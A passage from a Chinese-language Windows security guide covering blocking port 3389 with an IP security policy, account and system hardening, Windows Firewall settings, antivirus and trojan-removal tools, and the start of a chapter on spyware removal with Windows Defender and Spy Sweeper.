步骤11：打开“IP筛选器描述和镜像属性”对话框，在文本框中输入描述信息，单击“下一步”按钮，如图11-22所示。

步骤12：选择源地址。在下拉列表中选择IP流量的源地址，单击“下一步”按钮，如图11-23所示。

图11-18　右击“IP安全策略”选项

图11-19　单击“添加”按钮

图11-20　添加指定名称的筛选器

图11-21　“IP筛选器向导”对话框

图11-22　在文本框中输入描述信息

图11-23　选择IP流量的源地址

步骤13：在下拉列表中选择IP流量的目标地址，单击“下一步”按钮，如图11-24所示。

步骤14：选择IP协议类型。在下拉列表中选择IP协议类型为“TCP”，单击“下一步”按钮，如图11-25所示。

步骤15：选中“从任意端口”“到此端口”单选项，此端口的端口号设置为3389，单击“下一步”按钮，如图11-26所示。

步骤16：取消勾选“编辑属性”复选框，单击“完成”按钮，如图11-27所示。

步骤17：返回“IP筛选器列表”对话框，查看已创建的筛选器，并单击“确定”按钮，如图11-28所示。

步骤18：管理筛选器操作。切换至“管理筛选器操作”选项卡，取消勾选“使用‘添加向导’”复选框，然后单击“添加”按钮，如图11-29所示。

图11-24　选择IP流量的目标地址

图11-25　选择IP协议类型为“TCP”

图11-26　端口号设置为3389

图11-27　取消勾选“编辑属性”复选框

步骤19：设置筛选器操作为阻止。选择“阻止”单选按钮，单击“确定”按钮，如图11-30所示。

步骤20：成功添加筛选器操作。查看已添加的筛选器操作，单击“关闭”按钮，如图11-31所示。

图11-28　查看已创建的筛选器

图11-29　取消勾选使用“添加向导”复选框

步骤21：打开“本地安全策略”对话框，双击创建的IP安全策略，如图11-32所示。

步骤22：打开“限制访问3389端口属性”对话框，在“规则”选项卡中单击“添加”按钮，如图11-33所示。

图11-30　选择“阻止”单选按钮

图11-31　查看已添加的筛选器操作

图11-32　双击创建的IP安全策略

图11-33　单击“添加”按钮

步骤23：创建IP安全规则，单击“下一步”按钮，如图11-34所示。

步骤24：指定IP安全规则的隧道终结点。选定“此规则不指定隧道”单选项，单击“下一步”按钮，如图11-35所示。

图11-34　单击“下一步”按钮

图11-35　选定“此规则不指定隧道”单选项

步骤25：选择网络类型。选中“所有网络连接”单选项，单击“下一步”按钮，如图11-36所示。

步骤26：选择IP筛选器。选中“3389端口筛选器”单选项，单击“下一步”按钮，如图11-37所示。

图11-36　选中“所有网络连接”单选项

图11-37　选中“3389端口筛选器”单选项

步骤27：选中“新筛选器操作”单选项，单击“下一步”按钮，如图11-38所示。

步骤28：完成安全规则创建。取消勾选“编辑属性”复选框，单击“完成”按钮，如图11-39所示。

图11-38　选中“新筛选器操作”单选项

图11-39　取消勾选“编辑属性”复选框

步骤29：返回“限制访问3389端口属性”对话框，单击“确定”按钮，如图11-40所示。

步骤30：返回“本地安全策略”对话框，右键单击新建的IP安全策略，在弹出列表中单击“分配”按钮完成设置，如图11-41所示。

图11-40　单击“确定”按钮

图11-41　单击“分配”按钮

11.2.3　系统安全设置

不管自己的计算机使用什么操作系统，为了它的安全，也必须对计算机系统进行安全设置，以保护自己的系统不受到非法攻击和发生不幸的灾难。

下面介绍Windows系统安全初级安全设置和中级安全设置经常使用的几种方法。

1.Windows系统安全初级设置方法

Windows系统安全初级设置是指对服务器、账号以及用户数量的设置，具体的含义如下：

（1）物理安全

服务器应该安放在安装了监视器的隔离房间内，且监视器要保留15天以上的摄像记录。另外，机箱、键盘、电脑桌抽屉最好上锁，以确保旁人即使进入房间也无法使用计算机，钥匙要放在安全地方。

（2）停掉Guest账号

在计算机管理的用户里面把guest账号停用掉，任何时候都不允许guest账号登录系统。为了保险起见，最好给guest加一个复杂的密码。可以在记事本中输入一串包含特殊字符、数字、字母的长字符串，并将其作为guest账号的密码复制进去。

（3）限制不必要的用户数量

去掉所有的duplicate user账户、测试用账户、共享账号、普通部门账号等。用户组策略设置相应权限，且经常检查系统的账户，删除已经不使用的账户。这些账户很多时候都是黑客入侵系统的突破口，系统的账户越多，黑客得到合法用户的权限可能性一般也就越大。国内主机如果系统账户超过10个，一般都能找出一两个弱口令账户。

（4）创建2个管理员用账号

创建一个一般权限账号用来收信以及处理一些日常事物，另一个拥有Administrators权限的账户只在需要时使用。可以让管理员使用“RunAS”命令执行一些需要特权才能进行的工作，以方便管理。

（5）把系统Administrator账号改名或停用

由于Administrator账号是Windows系统的默认账号，这意味着别人可以一遍又一遍地猜测这个账户的密码。把Administrator账户改名或停用可以有效防止这一点。当然，请不要使用Admin之类的名字，改了等于没改，尽量把它伪装成普通用户，比如改成：guestone。

（6）创建一个陷阱账号

即创建一个名为“Administrator”的本地账户，把它的权限设置成最低，什么事也干不了的那种，并且加上一个超过10位的超级复杂密码。这样可以让那些Scripts忙上一段时间了，并且可以借此发现它们的入侵企图，或者在它的login scripts上面做点手脚。

（7）把共享文件的权限从“everyone”组改成“授权用户”

“everyone”在Windows中意味着任何有权进入网络的用户，都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成“everyone”组，包括打印共享，默认的属性就是“everyone”组的，一定不要忘了修改。

（8）使用安全密码

一个好的密码对于一个网络非常重要，但却最容易被忽略。一些公司的管理员创建账号时往往用公司名、计算机名或一些别的很容易猜到的东西作用户名，又把这些账户的密码设置得很简单，如“welcome”“iloveyou”“letmein”或和用户名相同等。这样的账户应该要求用户首次登录时更改成复杂的密码，还要注意经常更改密码。

（9）设置屏幕保护密码

设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用复杂的屏幕保护程序，这样浪费系统资源，黑屏就可以了。此外，所有系统用户使用的机器也最好加上屏幕保护密码。

（10）使用NTFS格式分区

把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT、FAT32的文件系统安全得多。

（11）运行防毒软件

Windows服务器需要安装杀毒软件，一些好的杀毒软件不仅能杀掉一些著名病毒，还能查杀大量木马和后门程序，但不要忘了经常升级病毒库。

（12）保障备份盘的安全

一旦系统资料被破坏，备份盘将是你恢复资料的唯一途径。备份完资料后，把备份盘放在安全地方。千万别把资料备份在同一台服务器上，那样还不如不备份。

2.中级安全设置

除了初级设置之外，还需要一些更高级的设置以确保计算机系统安全，主要包括如下几个方面：

（1）利用Windows的安全配置工具来配置策略

微软提供了一套基于MMC（管理控制台）的安全配置和分析工具，可以很方便地配置服务器以满足用户要求。

（2）关闭不必要的服务

Windows的Terminal Services（终端服务）、IIS和RAS都可能给系统带来安全漏洞。为了能够远程管理服务器，很多机器的终端服务都是处于开放状态。有些恶意的程序也能以服务方式悄悄地运行，因此要多留意服务器上开启的所有服务。

（3）关闭不必要的端口

关闭端口意味着减少功能，在安全和功能上需要作一点决策。如果服务器安装在防火墙的后面，冒的险就会少些，但永远不要认为可以高枕无忧了。用端口扫描器扫描系统所开放的端口，确定开放了哪些服务是黑客入侵系统的第一步。在\system32\drivers\etc\services文件中有知名端口和服务的对照表可供参考。

（4）打开审核策略

开启安全审核是Windows最基本的入侵检测方法。当有人尝试对自己的系统进行某些方式（如尝试用户密码，改变账户策略，未经许可的文件访问等）入侵时，都会被安全审核记录下来。很多管理员的系统被入侵了几个月他都不知道，直到系统遭到破坏才悔之晚矣。

11.3　用防火墙隔离系统与病毒

防火墙是近期发展起来的一种保护计算机网络安全的技术性措施，它是一个用以阻止网络中黑客访问某个机构网络的屏障，也可称之为控制进/出两个方向通信的门槛。在网络边界上通过建立相应网络通信监控系统来隔离内部和外部网络，以阻挡外部网络的侵入。

11.3.1　使用Windows防火墙

Windows 7默认是开启了系统防火墙的，但是为了万无一失，我们可以检查防火墙是否已开启。如果系统中已经安装了第三方防火墙程序，此时我们可以选择只开启一种防火墙，那么有可能就需要关闭系统防火墙，防止多个防火墙之间的冲突。除此之外，我们还可以定制防火墙给用户发送通知的提示方式。另外，如果用户感觉对防火墙的配置有些混乱，则可以让防火墙恢复到默认设置状态下。

1.开启和关闭防火墙

开启与关闭系统防火墙的具体操作如下。

步骤1：单击“开始”按钮，在打开的“开始”菜单中选择“控制面板”，打开“控制面板”窗口，如图11-42所示。

步骤2：单击“系统和安全”，然后单击“Windows防火墙”，如图11-43所示。

图11-42　“控制面板”窗口

图11-43　单击“Windows防火墙”

提示

可以直接在“开始”菜单的搜索框中输入“控制面板”，然后单击搜索结果中的“Windows防火墙”。

步骤3：打开“Windows防火墙”窗口，单击左侧列表中的“打开或关闭Windows防火墙”，如图11-44所示。

步骤4：自定义每种类型的网络的设置。在该界面中，分为“家庭或工作（专用）网络”和“公用网络”两种类型的防火墙设置，可以分别设置每种类型的防火墙的开启或关闭状态，如图11-45所示。设置完成后单击“确定”按钮。

图11-44　单击“打开或关闭Windows防火墙”

图11-45　设置防火墙的开启或关闭

2.更改防火墙的通知方式

如果开启了Windows防火墙，那么当某个程序第一次运行并需要进行网络通信时，就会弹出如图11-46所示的“Windows安全报警”对话框，用户可以选择程序要在哪种类型的网络中正常进行网络通信，然后单击“允许访问”按钮即可。

用户可以在程序准备进行网络通信时，自定义防火墙的提示方式。打开“Windows防火墙”窗口，单击左侧列表中的“打开或关闭Windows防火墙”。在进入的界面中，可以选择防火墙的提示方式，如图11-47所示。如果不选中“Windows防火墙阻止新程序时通知我”复选框，那么在某个程序第一次运行时，就不会弹出图11-46所示的“Windows安全警报”对话框了。

图11-46　程序首次运行时将弹出安全报警提示

图11-47　选择防火墙的提示方式

不过可能与想象的不同，即使在弹出“Windows安全警报”对话框时单击了“取消”按钮，运行的程序仍然可以正常进行网络通信。这是因为Windows 7防火墙在默认情况下允许所有程序的出站连接，也就是程序通过本机的防火墙与外部连接。只不过此时从外部通过防火墙向该程序发送的任何通信都将被禁止，即不能入站。

3.恢复防火墙的默认设置

在任何时候，都可以让防火墙的设置恢复到其默认状态，具体操作如下。

步骤1：打开“Windows防火墙”窗口，单击左侧列表中的“还原默认设置”，如图11-48所示。

步骤2：打开如图11-49所示的“还原默认设置”窗口，单击“还原默认设置”按钮。

步骤3：打开如图11-50所示的“还原为默认值确认”对话框，单击“是”按钮，将防火墙设置还原到默认状态。

图11-48　单击左侧列表中的“还原默认设置”

图11-49　单击“还原默认设置”按钮

图11-50　确认是否进行还原

11.3.2　设置Windows防火墙的入站规则

在开启防火墙的情况下，如果在弹出“Windows安全警报”对话框时，用户单击了“允许访问”按钮，那么该程序就被系统设置为允许外部网络通过防火墙与该程序通信。但如果用户单击了“取消”按钮，那么将阻止程序的入站。当以后需要进行入站通信时，就必须手动设置程序的入站规则。

1.添加指定程序的入站规则

打开“Windows防火墙”窗口，单击左侧列表中的“允许程序或功能通过Windows防火墙”，如图11-51所示，进入如图11-52所示的界面。列表中显示的是当前已经添加的入站规则，已启用的入站规则前的复选框被选中，而且可以看到每个入站规则都包含“家庭/工作（专用）”和“公用”两部分，它表示入站规则适用的网络位置。

要添加一个程序的入站规则，具体操作如下。

步骤1：如果要设置的程序没有出现在列表中，那么需要单击界面底部的“允许运行另一程序”按钮，如图11-53所示。打开如图11-54所示的对话框，从列表中选择要添加的程序。如果程序未出现在列表中，可单击“浏览”按钮进行选择。

提示

选择好程序后，可以单击“网络位置类型”按钮，如图11-55所示。在打开的对话框中选择入站规则适用的网络位置，如图11-56所示。

图11-51　单击“允许程序或功能通过Windows防火墙”

图11-52　防火墙入站规则设置界面

图11-53　单击“允许运行另一程序”按钮

图11-54　单击“浏览”按钮

图11-55　单击“网络位置类型”按钮

图11-56　选择入站规则适用的网络位置

步骤2：单击“添加”按钮，如图11-57所示。返回如图11-58所示的界面，可以在列表中看到刚才选择的程序，并自动选中了该程序前的复选框。此时已经设置好该程序的入站规则，也就是说，现在外部网络可以通过防火墙与该程序进行通信。

图11-57　单击“添加”按钮

图11-58　添加程序的入站规则

提示

在上图的列表中也可以修改程序入站时应用的网络位置，只需勾选所需的网络位置复选框即可。

2.禁止指定程序的入站规则

如果想要禁止某个程序的入站规则，那么可以打开“Windows防火墙”窗口，单击左侧列表中的“允许程序或功能通过Windows防火墙”，进入入站规则设置界面。在列表中取消选中要禁止的入站规则前的复选框即可，如图11-59所示。

图11-59　取消选中要禁止的入站规则前的复选框

3.查看入站规则的详细信息

在入站规则设置界面中，如果要查看某个规则的详细情况，可以直接双击该规则，将打开如图11-60所示的对话框，其中显示了该入站规则中的应用程序名称以及在计算机中的位置。如果单击“网络位置类型”按钮，打开“选择网络位置类型”对话框，还可以修改入站规则适用的网络位置，如图11-61所示。

图11-60　单击“网络位置类型”按钮

图11-61　修改入站规则适用的网络位置

4.删除指定程序的入站规则

如果入站规则列表中有很多项都不再需要，那么可以将其从列表中删除。方法很简单，在列表中选择要删除的入站规则，然后单击“删除”按钮，如图11-62所示。弹出如图11-63所示的对话框，单击“是”按钮，即可将所选入站规则删除。

图11-62　单击“删除”按钮

图11-63　单击“是”删除入站规则

11.4　杀毒软件的使用

杀毒软件也是病毒防范必不可少的工具，随着人们对病毒危害的认识，杀毒软件也被逐渐地重视起来，各式各样的杀毒软件如雨后春笋般出现在市场中。

11.4.1　用NOD32查杀病毒

NOD32是近几年中迅速崛起的一款杀毒软件。以轻巧易用、惊人的检测速度及卓越的性能深受用户青睐，成为许多用户和IT专家的首选。经多家检测权威确认，NOD32在速度、精确度和各项表现上已拥有多项的全球记录。

在使用NOD32进行查杀病毒之前，最好先升级一下病毒库，这样才能保证杀毒软件对新型病毒的查杀效果。更新病毒库之后，就可以对计算机进行最常用的查杀病毒操作了。

具体的操作步骤如下：

步骤1：选择“开始”→“所有程序”→“ESET”→“ESET NOD32 Antivirus”→“ESET NOD32 Antivirus”菜单项，即可打开“ESET NOD32 Antivirus”窗口，如图11-64所示。

步骤2：单击左侧“计算机扫描”选项卡，可选择扫描方式。选择自定义扫描，可任意选取扫描的目标范围，如图11-65所示。

步骤3：在等待扫描完毕之后，单击自定义扫描或者下方的下三角图标，将会显示扫描结果，显示如图11-66所示。

步骤4：单击“在新窗口中打开扫描”链接，即可打开“计算机扫描”窗口，在其中可查看扫描的详细过程，如图11-67所示。

图11-64　“ESET NOD32 Antivirus”窗口

图11-65　开始扫描

步骤5：单击左侧“设置”选项卡，可选择启用防护，如图11-68所示。

步骤6：单击左侧“工具”选项卡，在其中可查看日志文件、设定计划任务、查看防护统计以及被隔离的文件等信息，如图11-69所示。

图11-66　扫描结果显示

图11-67　“计算机扫描”窗口

图11-68　“设置”选项卡

图11-69　“工具”选项卡

11.4.2　瑞星杀毒软件

瑞星全功能安全软件是基于“云安全”系统设计的新一代互联网安全产品，将杀毒软件与防火墙无缝集成、整体联动，极大地降低了计算机资源占用，集“拦截、防御、查杀、保护”四种功能于一身。

将瑞星杀毒软件安装完毕之后，就可以利用它进行病毒的防范和查杀了。

使用瑞星杀毒软件进行杀毒的具体操作步骤如下：

步骤1：启动瑞星杀毒软件，单击“杀毒”选项卡，进入“杀毒”标签页，如图11-70所示。其中有“快速查杀”“全盘查杀”和“自定义查杀”三项可选，单击“自定义查杀”图标。

步骤2：弹出“选择查杀目标”对话框，在该对话框中可选择需要查杀的目标，做有针对性的查杀，如图11-71所示。

图11-70　“杀毒”标签页

图11-71　选择查杀目标

步骤3：单击“确定”按钮，则开始查杀相应目标，发现病毒立即清除。扫描过程中可随时单击“暂停查杀”按钮来暂时停止查杀病毒，按“继续查杀”按钮则继续查杀，或单击“停止查杀”按钮停止查杀病毒。

步骤4：查杀病毒过程中，查杀的病毒以及可疑文件将显示在进度条下方，若瑞星杀毒软件发现病毒，则会将文件名、病毒名、处理结果以及路径显示在此窗口中，如图11-72所示。

步骤5：在查杀结束后，该窗口则会显示共扫描对象、共耗时、平均速度以及共查杀的病毒数等信息，如图11-73所示。

图11-72　正在查杀

图11-73　“查杀结果”对话框

11.5　木马清除软件的使用

如果不了解发现的木马病毒，要想确定木马的名称、入侵端口、隐藏位置和清除方法等都非常困难，这时就需要使用木马清除软件清除木马。

11.5.1　用木马清除专家清除木马

木马清除专家是一款专业防杀木马软件，可以彻底查杀各种流行QQ盗号木马、网游盗号木马、黑客后门等上万种木马间谍程序。具体的操作步骤如下：

步骤1：启动木马清除专家，打开木马清除专家主界面，并单击页面左侧的“扫描内存”按钮，如图11-74所示。

步骤2：查看扫描结果，扫描完成后可直接在页面中查看到扫描结果，如图11-75所示。

图11-74　“木马清除专家”主界面

图11-75　查看扫描结果

步骤3：单击“扫描硬盘”，有“开始快速扫描”“开始全面扫描”“开始自定义扫描”三种扫描方式，根据需要单击其中一个按钮，如图11-76所示。

步骤4：开始扫描后可以随时单击“停止扫描”按钮终止扫描，如图11-77所示。

图11-76　对硬盘进行扫描

图11-77　停止扫描

步骤5：单击“系统信息”按钮，可查看到CPU占用率以及内存使用情况等信息，单击“优化内存”按钮可优化系统内存，如图11-78所示。

步骤6：依次单击“系统管理”>“进程管理”按钮，单击任一进程，在“进程识别信息”文本框中查看该进程的信息，遇到可疑进程单击“中止进程”按钮，如图11-79所示。

图11-78　查看系统信息

图11-79　“进程管理”窗口

步骤7：单击“启动管理”按钮，查看启动项目详细信息，发现木马时可以单击“删除项目”按钮删除该木马，如图11-80所示。

步骤8：单击“修复系统”按钮，根据提示信息单击页面中的修复链接对系统进行修复，如图11-81所示。

图11-80　“启动管理”窗口

图11-81　“修复系统”窗口

步骤9：绑定网关IP与网关MAC，单击“ARP绑定”按钮，在网关IP及网关MAC选项组中输入IP地址和MAC地址，并勾选“开启ARP单向绑定功能”复选框，如图11-82所示。

步骤10：IE浏览器修复。单击“修复IE”按钮，勾选需要修复项目的复选框并单击“开始修复”按钮，如图11-83所示。

步骤11：单击“网络状态”按钮，查看进程、端口、远程地址、状态等信息，如图11-84所示。

步骤12：单击“辅助工具”按钮，在新的界面单击“浏览添加文件”按钮，添加文件，然后单击“开始粉碎”按钮以删除无法删除的顽固木马，如图11-85所示。

图11-82　单击“ARP绑定”按钮

图11-83　单击“开始修复”按钮

图11-84　单击“网络状态”按钮

图11-85　单击“辅助工具”按钮

步骤13：单击“其他辅助工具”按钮，可根据功能有针对性地使用各种工具，如图11-86所示。

步骤14：单击“监控日志”按钮，定期查看监控日志，找黑客入侵痕迹，如图11-87所示。

图11-86　单击“其他辅助工具”按钮

图11-87　单击“监控日志”按钮

11.5.2　用木马清道夫清除木马

木马清道夫是一款专门查杀并可辅助查杀木马的工具，它可自动查杀近百万种木马病毒，拥有海量木马病毒库，配合手动分析可近100%对未知木马病毒进行查杀。它不仅可以查木马病毒，还可以分析出恶意程序、广告程序、后门程序、黑客程序等。下面以扫描进程和扫描硬盘为例介绍木马清道夫的使用步骤。

步骤1：启动木马清道夫，第一次使用时先单击“更新”按钮对木马病毒库进行更新，如图11-88所示。

步骤2：进入主界面，更新完成后进入木马清道夫主界面，单击“扫描进程”按钮，如图11-89所示。

图11-88　启动木马清道夫

图11-89　单击“扫描进程”按钮

步骤3：单击“扫描”按钮对系统进行扫描，如图11-90所示。

步骤4：查看扫描结果并单击“确定”按钮，如图11-91所示，如果扫描到木马，则选中该文件后单击“清除”按钮，即可将其进行删除。

图11-90　单击“扫描”按钮

图11-91　单击“确定”按钮

步骤5：单击“扫描硬盘”按钮，在弹出的快捷菜单中单击“高速扫描硬盘”命令，如图11-92所示。

步骤6：单击“扫描”按钮即可开始高速扫描。扫描完成后可对扫描出的木马进行清除或隔离操作，如图11-93所示。

图11-92　单击“扫描硬盘”按钮

图11-93　单击“扫描”按钮

11.6　可能出现的问题与解决方法

1）在手动屏蔽一些弹出式广告时，为什么在文件夹属性中找不到“安全”选项卡？

解答：当出现这种现象时，可以选择“控制面板”→“管理工具”→“本地安全策略”菜单项，在打开的“本地安全设置”窗口中单击“安全设置”→“本地策略”→“安全选项”之后，找到并双击“网络访问：本地账户的共享和安全模式”选项，在“网络访问：本地账户的共享和安全模式属性”对话框中将设置更改为“经典——本地用户以自己的身份验证”即可（该操作要求分区格式为NTFS）。

2）单位有人使用BT大量下载东西。以前在防火墙上封掉对外的6969端口好像很有效果，但是最近好像没啥效果了。请问有什么好的建议吗？

解答：那就使用防火墙把6999~9999端口都封了，不过，他们还会开别的，监视他们用哪个就封哪个。

3）在关闭一些端口之后，对用户使用计算机有没有影响呢？

解答：当然有影响，用户在对一些端口实施关闭操作之后，某些系统性能就没有了，在正常使用计算机过程中往往会出现一些麻烦，如某个加载的新硬件需要调用某个特定端口时，将会出现因为该端口被禁止而无法使用该新硬件的情况。因此，使用这种安全措施并不是很完美，用户最好还是下载最新的系统补丁来对系统漏洞进行修复。

4）如何才能防范改造过的木马或杀毒软件无法检测查出的未知木马呢？

解答：要防范改造过的木马或杀毒软件无法检测查出的未知木马，便捷而有效的途径，就是对注册表和重要的系统文件进行监控。注册表类似于Windows系统的心脏，当注册表出现问题之后，往往会造成Windows系统的运行故障，甚至会造成系统的崩溃。注册表对系统和各种软件运行的重要性不言而喻。同样，木马要植入系统中时，也必须对注册表进行一些更改，才能调用启动木马。同时，木马还要在系统文件夹中安放一些文件，以实现远程控制的功能。因此，只要监控注册表及系统文件夹，就可以防范各种未知的木马病毒，或者在中了木马病毒后有效清除病毒。

11.7　总结与经验积累

为了抵御黑客的攻击，网络防火墙逐渐成为上网人士必备的安全软件之一，它可以有效地拦截一些来历不明的敌意访问，同时能拦截木马程序的恶意连接。

许多用户计算机系统中都安装了杀毒软件，但木马病毒还是能进入系统中。主要原因在于没有使用杀毒软件对系统进行全面防御保护。要避免遭受木马病毒的攻击，最佳手段就是进行防护。防范木马病毒攻击可从杀毒软件监控以及相应的注册表文件监控入手，全面堵截木马病毒进入系统的通道。

随着互联网的兴起和网络的普及，越来越多的人喜欢运用网络来学习、娱乐、生活，网络这个先进工具给人们带来了无尽的便捷，但在便捷的同时也存在着安全隐患。因此，为了将安全隐患降到最低点，最便捷有效的做法就是提前做好病毒木马的主动防御清除工作。

本章在讲述对病毒木马主动防御清除技术的基础上，还通过讲述用安全策略关闭危险端口的方法和使用防火墙展开对病毒的查杀与隔离技术，尽可能地实现对未知病毒木马的全面监控与防御，结合实践并利用有效的方法去解决实际问题，为自己的计算机提供一个安全、健康的工作环境，从而提高工作和学习效率。

第12章　流氓软件和间谍软件的清除

现在网络上的流氓软件与间谍软件很多，往往在浏览某些网页时会不小心安装这些软件且很不好卸载，为计算机使用带来很大安全隐患，应有效地使用专用清除工具彻底清除这些流氓软件与间谍软件，做好计算机安全防护。

主要内容：

●间谍软件防护实战

●常见的网络安全防护工具

●流氓软件的清除

12.1　间谍软件防护实战

间谍软件的主要危害是严重干扰用户使用互联网，如推广弹出式广告、影响用户网上购物、干扰在线聊天、欺骗用户浏览搜索引擎引导网站等，同时还有可能导致机器速度变慢，网络突然断开等情况出现，这主要是因为间谍软件会占用系统大量资源。

12.1.1　间谍软件防护概述

间谍软件主要攻击微软操作系统，通过Internet Explorer漏洞进入并隐藏在Windows的薄弱之处。有些间谍软件（尤其是恶意Cookie文件）可以在任何浏览器之内发生作用，但这只是间谍软件中很小的一部分。微软的一些软件产品，如Internet Explorer、Word、Outlook和Media Player等，一旦下载就将自动执行，从而使间谍软件很容易乘虚而入。

·如果出现如下情况，则用户的机器可能已经存在了间谍软件或其他流氓软件：

·用户没有浏览网页也会看见弹出式广告。

·用户的Web浏览器先打开页面（主页）或浏览器，搜索设置已在用户不知情的情况下被更改。

·发现浏览器中有一个用户不需要的新工具栏，并且很难将其删除。

·计算机完成某些任务所需的时间比以往要长。

·计算机崩溃的次数突然上升。

间谍软件通常和显示广告软件（称为“广告软件”）、跟踪个人、敏感信息等软件联系在一起，但并不意味着所有提供广告或跟踪用户在线活动的软件都是恶意软件。如用户可能要注册免费音乐服务，但代价是要同意接收目标广告。如果同意了该条款，则表示已确定这是一桩公平交易。用户也可能同意让该公司跟踪自己在线活动，以确定要显示的广告。

其他流氓软件则会做出一些令人烦恼的更改，而且可能会导致计算机处理速度变慢或崩溃。这些程序能够更改Web浏览器的主页或搜索页，或在浏览器中添加用户不需要的附加组件，还可能会使用户很难将自己的设置恢复为原始设置。一切的关键在于用户（或其他使用自己计算机的人）是否了解软件要执行的操作，以及是否已同意将软件安装在自己的计算机上。

间谍软件或其他流氓软件有多种方法可以侵入用户的系统，常见伎俩是在用户安装需要的软件（如音乐或视频文件共享程序）时，偷偷地安装该软件。有时在特定软件安装中已经记录了流氓软件的信息，但此信息可能出现在许可协议或隐私声明的结尾。

12.1.2　微软反间谍专家Windows Defender

Windows 7中自带的Windows Defender程序用于扫描并发现系统中存在的恶意软件，并及时对它们进行清除，时刻保持系统的清洁。所谓恶意软件，通常是指那些未经用户同意或许可，私自安装到系统中的程序。这类程序的最大特点有以下3个：

·安装时很难被用户察觉，安装并运行后，用户有时也不易发现它们的存在。

·自动对系统的某些设置进行修改，即使用户将设置改回，关闭程序或重启后，恶意软件仍然会将设置复原。

·无法用常规的卸载方式将恶意软件从系统中删除。即使删除，重启后恶意软件仍然会自动恢复。

因此，当人们听到恶意软件这一词汇时，都会表现出鄙视和痛恨之情。为此，可以使用Windows 7自带的Windows Defender扫描并清除系统中顽固的恶意软件。

1.Windows Defender对恶意软件的报警及处理方式

Windows Defender在扫描的过程中会根据恶意软件对系统的破坏程度，按等级进行划分，并根据恶意软件的等级采取相应的处理措施。表12-1中列出了Windows Defender对恶意软件的报警及处理方式。

表12-1　Windows Defender对恶意软件的报警及处理方式

2.设置自动扫描的时间

在安装好Windows 7那一刻开始，Windows Defender就开始了对恶意软件的密切监视。Windows Defender每天都会定时对系统进行扫描，这些工作完全无需用户操心。不过需要了解的一点是，Windows Defender每天扫描系统的时间是在凌晨两点，这对于中国人来说，作息时间上可能不太适合。因此，我们可以根据自己的时间安排，修改Windows Defender定时扫描的时间，具体操作如：

步骤1：单击桌面上的“开始”按钮，在打开的“开始”菜单中选择“控制面板”。打开“控制面板”窗口，将“查看方式”设置为“大图标”或“小图标”，然后找到并单击“Windows Defender”，如图12-1所示。

图12-1　单击“Windows Defender”链接

步骤2：启动Windows Defender程序并进入其主界面。单击工具栏中的“工具”按钮，进入如图12-2所示的界面，单击“选项”链接。

步骤3：进入如图12-3所示的界面，默认选中左侧的“自动扫描”，在右侧可以设置扫描的频率和时间。例如，将扫描频率改为每周六，扫描时间改为中午12点。

步骤4：单击“保存”按钮，保存所做的修改。

图12-2　单击“选项”链接

图12-3　更改自动扫描的时间

3.手动扫描

除了每日的定时扫描外，用户可以根据需要随时启动Windows Defender对系统进行扫描，具体操作如下：

步骤1：打开Windows Defender主界面，单击工具栏中的“扫描”按钮，将开始进行快速扫描，扫描位置为系统所在的磁盘分区。

步骤2：如果要进行其他类型的扫描，则可以单击“扫描”按钮右侧的三角按钮，弹出菜单中包括3种扫描类型，其中快速扫描就是上一步进行的扫描，而其他两种扫描为“完全扫描”和“自定义扫描”，如图12-4所示。完全扫描将对电脑中的所有磁盘分区进行完整扫描；而自定义扫描则由用户选择要扫描的位置。

步骤3：如果选择“自定义扫描”命令，则进入如图12-5所示的界面。单击“选择”按钮，在弹出的对话框中选择要进行扫描的磁盘分区和文件夹。

图12-4　选择扫描类型

图12-5　选择要扫描的磁盘分区和文件夹

步骤4：单击“确定”按钮，然后单击“立即扫描”按钮，Windows Defender将开始对所选位置进行扫描，如图12-6所示。扫描结束后可以单击Windows Defender工具栏中的“历史记录”按钮查看扫描记录。

图12-6　Windows Defender正在对用户指定位置进行扫描

4.设置不扫描的位置和文件类型

如果确信电脑中的某些位置肯定是安全的，那么可以在扫描前将这些位置排除在外，这样可以提高扫描速度，节省扫描花费的时间。设置不扫描的位置和文件类型的具体操作如下：

步骤1：进入Windows Defender的选项设置界面，选择左侧列表中的“排除的文件和文件夹”，进入如图12-7所示的设置界面。单击“添加”按钮，从弹出对话框中选择不需要扫描的文件和文件夹。

步骤2：选择好后单击“确定”按钮，返回选项设置界面，可以看到列表中出现了上一步所选的内容，如图12-8所示。

图12-7　单击“添加”按钮

图12-8　将不需要扫描的内容添加到排除列表中

步骤3：按照相同的方法可添加多个位置。完成后单击“保存”按钮，保存所做的修改。以后执行扫描时，将跳过列表中的位置。

设置不需要扫描的文件类型的方法是，在选项设置界面左侧列表中选择“排除的文件类型”，然后在右侧的文本框中输入表示文件类型的扩展名。例如，不希望扫描BMP类型的图片，那么就输入“.BMP”，然后单击“添加”按钮，将该扩展名添加到下方的列表中，如图12-9所示。按照同样的方法，可以设置多个文件类型。设置后单击“保存”按钮，保存所做的修改。

5.禁用Windows Defender

当系统中还安装了第三方的病毒防护程序并启用了该程序包中类似的阻止恶意程序的功能时，可以禁用Windows 7自带的Windows Defender，否则有可能使系统性能下降。要禁用Windows Defender，可先进入如图12-10所示的选项设置界面，选择左侧列表中的“管理员”，然后取消选中右侧的“使用此程序”复选框，最后单击“保存”按钮。

图12-9　设置不需要扫描的文件类型

图12-10　禁用Windows Defender程序

12.1.3　用Spy Sweeper清除间谍软件

当大家安装了某些免费的软件或浏览某个网站时，都可能使间谍软件潜入。黑客除监视用户的上网习惯（如上网时间、经常浏览的网站以及购买了什么商品等）外，还有可能记录用户的信用卡账号和密码，这给用户安全带来了重大隐患。Spy Sweeper是一款五星级的间谍软件清理工具，还提供主页保护和Cookies保护等功能。具体的操作步骤如下。

步骤1：运行“Webroot AntiVirus”，单击页面左侧的“Options”按钮，如图12-11所示。

步骤2：切换至“Sweep”标签，设置扫描方式，选中“Quick Sweep”（快速扫描方式）选项，如图12-12所示。

图12-11　单击“Options”按钮

图12-12　设置扫描方式

步骤3：自定义扫描方式。选择“Custom Sweep”（自定义扫描方式）选项，用户可以在下方列表中选择需要扫描的对象。然后单击“Change Settings”超链接，如图12-13所示。

步骤4：打开“Where to Sweep”对话框，用户可以具体设置扫描或跳过的对象，然后单击“OK”按钮，如图12-14所示。

图12-13　选择需要扫描的对象

图12-14　设置扫描或跳过的对象

步骤5：返回主界面，单击左侧“Sweep”按钮，在下拉列表中选择“Start Custom Sweep”命令，如图12-15所示。

步骤6：开始扫描，显示扫描进度及扫描结果，如图12-16所示。

